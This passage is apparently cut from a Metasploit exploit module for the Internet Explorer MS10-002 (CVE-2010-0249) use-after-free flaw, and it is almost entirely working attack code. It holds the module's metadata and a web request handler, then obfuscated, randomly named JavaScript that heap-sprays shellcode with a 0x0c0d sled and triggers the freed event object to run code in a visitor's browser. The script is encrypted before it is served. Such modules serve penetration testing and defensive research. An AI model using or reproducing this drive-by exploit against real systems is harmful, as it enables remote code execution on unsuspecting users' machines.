The technique used by this module is currently identical to the public sample, as such, only Internet Explorer 6 can be reliably exploited. }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', 'hdm' # Metasploit port ], 'References' => [ ['MSB', 'MS10-002'], ['CVE', '2010-0249'], ['OSVDB', '61697'], ['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'], ['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { }], ], 'DisclosureDate' => 'Jan 14 2010', # wepawet sample 'DefaultTarget' => 0)) @javascript_encode_key = rand_text_alpha(rand(10) + 10) end def on_request_uri(cli, request) if (request.uri.match(/\.gif/i)) data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0] send_response(cli, data, { 'Content-Type' => 'image/gif' }) return end if (!request.uri.match(/\?\w+/)) send_local_redirect(cli, "?#{@javascript_encode_key}") return end var_boom = rand_text_alpha(rand(100) + 1) var_element = rand_text_alpha(rand(100) + 1) var_event = rand_text_alpha(rand(100) + 1) var_loaded = rand_text_alpha(rand(100) + 1) var_loaded_arg = rand_text_alpha(rand(100) + 1) var_memory = rand_text_alpha(rand(100) + 1) var_spray = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_el_array = rand_text_alpha(rand(100) + 1) bleh = rand_text_alpha(3); var_grab_mem = rand_text_alpha(rand(100) + 1) var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_span_id = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) rand_html = rand_text_english(rand(400) + 500) js = <<-EOS var #{var_element} = "COMMENT"; var #{var_el_array} = new Array(); for (i = 0; i < 1300; i++) { #{var_el_array}[i] = document.createElement(#{var_element}); #{var_el_array}[i].data = "#{bleh}"; } var #{var_event} = null; var #{var_memory} = new Array(); var #{var_unescape} = unescape; function #{var_boom}() { var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" ); do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 ); for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode}; } function #{var_loaded}(#{var_loaded_arg}) { #{var_boom}(); #{var_event} = document.createEventObject(#{var_loaded_arg}); document.getElementById("#{var_span_id}").innerHTML = ""; window.setInterval(#{var_grab_mem}, 50); } function #{var_grab_mem}() { p = "\\u0c0f\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d"; for (i = 0; i < #{var_el_array}.length; i++) { #{var_el_array}[i].data = p; } var t = #{var_event}.srcElement; } EOS js_encoded = encrypt_js(js, @javascript_encode_key) html = %Q|
